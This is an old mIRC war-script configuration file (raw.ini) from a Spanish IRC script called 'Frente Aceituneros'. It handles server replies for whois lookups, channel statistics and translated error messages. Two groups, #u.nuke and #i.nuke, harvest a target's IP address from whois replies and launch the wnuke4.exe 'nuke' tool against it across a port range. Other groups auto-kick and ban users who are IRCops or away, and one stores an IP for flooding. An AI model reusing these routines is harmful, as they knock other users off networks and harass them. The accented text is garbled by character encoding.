home *** CD-ROM | disk | FTP | other *** search
/ CD Actual 16 / PC Actual CD 16.iso / cdactual / scripts / faceitun / FRENACE.ZIP / raw.ini < prev    next >
Encoding:
INI File  |  1997-08-19  |  9.3 KB  |  190 lines
  1. [script]
  2. n0=#whoisz off
  3. n1=raw 311:*: halt
  4. n2=raw 312:*: halt
  5. n3=raw 301:*: halt
  6. n4=raw 313:*: halt
  7. n5=raw 319:*: if (%fkccanal isin $parm2*) {
  8. n6=  echo 2 -s %logo 6 $parm2  estß en  $parm3* 
  9. n7=  kick $chan $parm2 4ïòâ«--┼⌐Ωò¢ AceitunaZ0 pa los del  %fkccanal
  10. n8=  say $chan %logo 2Kick a los del canal 1 %fkccanal
  11. n9=  halt
  12. n10=}
  13. n11=raw 317:*: halt
  14. n12=raw 318:*: .disable #whoisz | halt
  15. n13=#whoisz end
  16. n14=;
  17. n15=#u.nuke off
  18. n16=raw 311:*: set %nukeip $parm4 | halt
  19. n17=raw 312:*: set %nukeserver $parm3 | halt
  20. n18=raw 301:*: halt
  21. n19=raw 313:*: halt
  22. n20=raw 319:*: halt
  23. n21=raw 317:*: halt
  24. n22=raw 318:*: run $mircdirutil\wnuke4.exe -n %nukeserver %nukeip 0 1024-2500 %nukeport | .disable #u.nuke | echo 2 -a  %logo2  Nukeando a 1 %nukeip  en 1 %nukeserver  por el puerto 1 %nukeport  | halt
  25. n23=#u.nuke end
  26. n24=#i.nuke off
  27. n25=raw 311:*: set %nukeip $parm4 | halt
  28. n26=raw 312:*: halt
  29. n27=raw 301:*: halt
  30. n28=raw 313:*: halt
  31. n29=raw 319:*: halt
  32. n30=raw 317:*: halt
  33. n31=raw 318:*: run $mircdirutil\wnuke4.exe -n %nukeserver %nukeip 0 1024-2500 %nukeport | .disable #i.nuke | echo 2 -a  %logo2  Nukeando a 1 %nukeip  en 1 %nukeserver  por el puerto 1 %nukeport  | halt
  34. n32=#i.nuke end
  35. n33=;
  36. n34=#j.canal off
  37. n35=raw 366:*: {
  38. n36=  echo 3 $parm2 $timestamp *** Informaci≤n: Ops/ $+ $opnick(0,$parm2) $+    Sin Ops/ $+ $nopnick(0,$parm2) $+     Total/ $+ $nick(0,$parm2) $+ 
  39. n37=  echo 3 $parm2 $timestamp *** Compilando datos del canal  $parm2 $+   Actuales/ $+ $ial(*,0) $+  | unset %Sync.* | who $parm2
  40. n38=}
  41. n39=raw 352:*: halt
  42. n40=raw 315:*: echo 3 $parm2 $timestamp *** Datos del canal  $parm2  compilados Total/ $+ $ial(*,0) $+  | .disable #J.canal | halt
  43. n41=#J.canal end
  44. n42=;
  45. n43=#busco.ircop off
  46. n44=raw 352:*: inc %Total | echo 2 -a 3 $+ %Var.Total $+ . $parm6 1* $+ $parm5 | halt
  47. n45=raw 315:*: {
  48. n46=  echo 2 -a 3ñññ Fin de la b·squeda de IRCop ! Encontrados: %Total 3ñññ
  49. n47=  .disable #busco.ircop | halt
  50. n48=}
  51. n49=#busco.ircop end
  52. n50=;
  53. n51=#esta.canal off
  54. n52=raw 352:* {
  55. n53=  if ($parm4 isin %CAddress) { inc %CClonos } | else { %CAddress = %CAddress $parm4 }
  56. n54=  if (G isin $parm7) { inc %CAway }
  57. n55=  if (* isin $parm7) { inc %CIRCops }
  58. n56=  if (+ isin $parm7) { inc %CVoice } | else { inc %CNVoice }
  59. n57=  if (@ isin $parm7) { inc %COps } | else { inc %CNOps }
  60. n58=  if (H isin $parm7) { inc %CAqui } | inc %CTotal | halt
  61. n59=}
  62. n60=raw 315:* {
  63. n61=  echo 2 -a 3ñññ Estadisticas de  $parm2 3ñññ 
  64. n62=  echo 2 -a 3ñOps3ñ %COps 3ñSin Ops3ñ %CNOps 
  65. n63=  echo 2 -a 3ñVoice3ñ %CVoice  3ñSin Voice3ñ %CNVoice 
  66. n64=  echo 2 -a 3ñEn Away3ñ %CAway 3ñNo Away3ñ %CAqui
  67. n65=  echo 2 -a 3ñClonos3ñ %CClonos 3ñIRCops3ñ %CIRCops 
  68. n66=  echo 2 -a 3ññññTOTAL3ññ 4 %CTotal 3 ññ
  69. n67=  echo 2 -a 3ñññ Fin "Estadφsticas de  $parm2 "3ñññ 
  70. n68=  .disable #esta.canal | unset %Chan.* | halt
  71. n69=}
  72. n70=#esta.canal end
  73. n71=;
  74. n72=#buscandoo off
  75. n73=raw 352:*: {
  76. n74=  inc %total
  77. n75=  set %sscanal $parm2
  78. n76=  set %ssnick $parm6
  79. n77=  set %ssname $parm9*
  80. n78=echo 2 -a 4 %total  %ssnick ( %sscanal ) %ssname | halt }
  81. n79=raw 315:* {
  82. n80=  echo 2 -a 3ñññ Fin de la b·squeda de %quebusco ! ToTaL 4 %total  3ñññ | unset %ssnick | unset %sscanal | .disable #buscandoo | halt
  83. n81=}
  84. n82=#buscandoo end
  85. n83=#whois.nick off
  86. n84=raw 401:*: set %UNick 0 | halt
  87. n85=raw 301:*: set %UAway Si | halt
  88. n86=raw 311:*: set %UNick $parm2 | set %UAddress $parm3 $+ @ $+ $parm4 | set %Busclonosip $parm4 | set %UName $parm6* | if (%ahora == Si) set %Ipflooder $parm4 | halt
  89. n87=raw 312:*: set %UServer $parm3 | set %UNServer $parm4* | halt
  90. n88=raw 313:*: set %UIRCop Si | halt
  91. n89=raw 317:*: set %UIdle $parm3 | halt
  92. n90=raw 319:*: set %UCanales $parm3* | halt
  93. n91=raw 318:* {
  94. n92=  if (%UNick == 0) { echo 4 -a ññ $parm2 no estß en el IRC ññ | halt }
  95. n93=  echo 2 -a 3ñññ "┐Quien es?"  %UNick  3ñññ 
  96. n94=  echo 2 -a 3ñNombre Real3ñ  %UName 
  97. n95=  echo 2 -a 3ñDirecci≤n3ñ  %UAddress
  98. n96=  echo 2 -a 3ñServer3ñ  %UServer
  99. n97=  if (%UCanales == $null) { echo 2 -a 3ñCanales3ñ Ninguno }
  100. n98=  else { echo 2 -a 3ñCanales3ñ %UCanales }
  101. n99=  echo 2 -a 3ñNota del Server3ñ  %UNServer
  102. n100=  if (%UAway != $null) { echo 2 -a 3ñAway3ñ %UAway }
  103. n101=  if (%UIRCop != $null) { echo 2 -a 3ñIRCop3ñ %UIRCop }
  104. n102=  if (%UIdle == $null) { echo 2 -a 3ñIdle3ñ No }
  105. n103=  else { echo 2 -a 3ñTiempo Idle3ñ %UIdle segundos }
  106. n104=  echo 2 -a 3ñññ Fin de "┐Quien es?"  %UNick 3ñññ 
  107. n105=  unset %ahora | unset %UIdle | unset %UAway | unset %UCanales | unset %UIRCop | .disable #whois.nick | halt
  108. n106=}
  109. n107=#whois.nick end
  110. n108=;
  111. n109=#anti-colision on
  112. n110=raw 436:* { 
  113. n111=  nick $me $+ -
  114. n112=  echo 6 -a Nick Collision Detectada sobre ti ! Cambiando de nick rßpidamente...
  115. n113=}
  116. n114=#anti-colision end
  117. n115=#kick.canal off
  118. n116=raw 352:* {
  119. n117=  if (%K.IRCops == Si) {
  120. n118=    if (* isin $parm7) {
  121. n119=      if ($parm6 isop $parm2) { if (%K.Ops == No) { halt } } | if ($parm6 == $me) { halt }
  122. n120=      if (%K.Ban == Si) { set %Var.Temp *!* $+ $parm3 $+ $parm4 | mode $parm2 +b $mask(%Var.Temp,3) }
  123. n121=      kick $parm2 $parm6 2KicKear - IRCops 4ïò┼⌐ΩçåⁿnΦ«°ºò¢ | halt
  124. n122=    }
  125. n123=  }
  126. n124=  if (%K.Away == Si) {
  127. n125=    if (G isin $parm7) {
  128. n126=      if ($parm6 isop $parm2) { if (%K.Ops == No) { halt } } | if ($parm6 == $me) { halt }
  129. n127=      if (%K.Ban == Si) { set %Var.Temp *!* $+ $parm3 $+ $parm4 | mode $parm2 +b $mask(%Var.Temp,3) }
  130. n128=      kick $parm2 $parm6  2KicKear - AwaY 4ïò┼⌐ΩçåⁿnΦ«°ºò¢ | halt
  131. n129=    }
  132. n130=  }
  133. n131=  if (%K.NAway == Si) {
  134. n132=    if (H isin $parm7) {
  135. n133=      if ($parm6 isop $parm2) { if (%K.Ops == No) { halt } } | if ($parm6 == $me) { halt }
  136. n134=      if (%K.Ban == Si) { set %Var.Temp *!* $+ $parm3 $+ $parm4 | mode $parm2 +b $mask(%Var.Temp,3) }
  137. n135=      kick $parm2 $parm6  2KicKear - No en AwaY 4ïò┼⌐ΩçåⁿnΦ«°ºò¢ | halt
  138. n136=    }
  139. n137=  }
  140. n138=  halt
  141. n139=}
  142. n140=raw 315:*: echo 4 $parm2  KicKear a... 2CoMpLeTaDo | unset %Filter.* | .disable #kick.canal | halt
  143. n141=#kick.canal off
  144. n142=#tradu.a on
  145. n143=raw 341:*:{ echo -s %logo2  $parm2  ha sido invitado al canal  $parm3  | halt }
  146. n144=raw 353:*: echo 3 -a $timestamp *** Los usuarios en  $+ $parm3 $+  son $parm4* | halt
  147. n145=raw 401:*:{ echo -s %logo   $parm2  no estß en el IRC | halt }
  148. n146=raw 404:*:{ echo -s %logo  $parm2  estß con el modo NO MSGs EXTERNOS | halt }
  149. n147=raw 405:*:{ echo -s %logo No puedes entrar en mas canales | halt }
  150. n148=raw 432:*:{ echo -s %logo Has utilizado carßcteres no vßlidos para el nick, prueba con otros | halt }
  151. n149=raw 433:*:{ echo -s %logo El nick  $parm2 estß en uso, ponte otro | halt }
  152. n150=raw 443:*:{ echo -s %logo El usuario  $parm2   ya estß en  $parm3  | halt }
  153. n151=raw 471:*:{ echo -s %logo El canal  $parm2  estß lleno (+l). No puedes entrar. Espera a que salga alguien. | halt }
  154. n152=raw 472:*:{ echo -s %logo El modo que has puesto  no existe  | halt }
  155. n153=raw 473:*:{ echo -s %logo El canal  $parm2  estß s≤lo para invitados (+i). Te tienen que invitar para poder entrar. | halt }
  156. n154=raw 474:*:{ echo -s %logo Has sido baneado de el canal  $parm2 . No puedes entrar | halt }
  157. n155=raw 475:*:{ echo -s %logo El canal  $parm2  tiene clave (+k). Para entrar escribe la clave. Ej. /join #canal clave | halt }
  158. n156=raw 481:*:{ echo -s %logo Te acaban de dar IRCop | halt }
  159. n157=raw 366:*:{ echo -s %logo Fin de la lista de nombres | halt }
  160. n158=raw 376:*:{ echo -s %logo Fin del comando /MOTD. | halt }
  161. n159=raw 375:*:{ echo -s %logo Mensage del dφa de $parm2 | halt }
  162. n160=raw 406:*:{ echo -s %logo No se ha encontrado el nick  $parm2  en el historial. | halt }
  163. n161=raw 421:*:{ echo -s %logo Comando desconocido  $parm2 . | halt }
  164. n162=raw 461:*:{ echo -s %logo Parßmetros incorrectos en el comando  $parm2 . | halt }
  165. n163=raw 465:*:{ echo -s %logo EST┴S BANEADO DE ╔STE SERVER JAJJAJAJjajjajjaJAJAJAJAJAJ. | halt }
  166. n164=raw 464:*:{ echo -s %logo PassWord incorrecto. | halt }
  167. n165=raw 481:*:{ echo -s %logo S≤lo pueden hacer eso los IRCop. | halt }
  168. n166=raw 482:*:{ echo -s %logo No eres Ops del canal  $parm2 . | halt }
  169. n167=raw 323:*:{ echo -s %logo Fin del comando /list. | halt }
  170. n168=raw 332:*:{ echo -s %logo Topic del canal:  $parm3* . | halt }
  171. n169=raw 341:*:{ echo -s %logo  $parm3 te ha invitado al canal $parm2. | halt }
  172. n170=raw 492:*:{ echo 2 -s %logo  ConΘctate a un server IRC. }
  173. n171=raw 219:*:{ echo 2 -s %logo  Fin del comando /stats. }
  174. n172=#tradu.a end
  175. n173=#autoaway off
  176. n174=raw 317:*: { if ($parm3 > %autoaway)
  177. n175=  set %Contestador On
  178. n176=  set %Aviso On
  179. n177=  set %Contlog On
  180. n178=  .timer99 0 600 /amsg 6 Auto-Away  Mßx Idle  %autoaway  4+--++--++ Frente Aceituneros ++--++--+ 4 //Grabando Msg/ %ContLog \\ //Aviso/ %Aviso \\
  181. n179=  .amsg 6 6 Auto-Away  Mßx Idle  %autoaway  4+--++--++ Frente Aceituneros ++--++--+ 4 //Grabando Msg/ %ContLog \\ //Aviso/ %Aviso \\
  182. n180=  set %Contestador On
  183. n181=  set %ContHora $time
  184. n182=  away Auto-Away Mßzimo Idle %autoaway
  185. n183=  set %Var.Msgs 0
  186. n184=  write -c $mircdir $+ docs\away.txt
  187. n185=  .timer25 0 50 /echo -a 2Estßs en Auto-Away. Apaga el contestador.
  188. n186=}
  189. n187=#autoaway end
  190.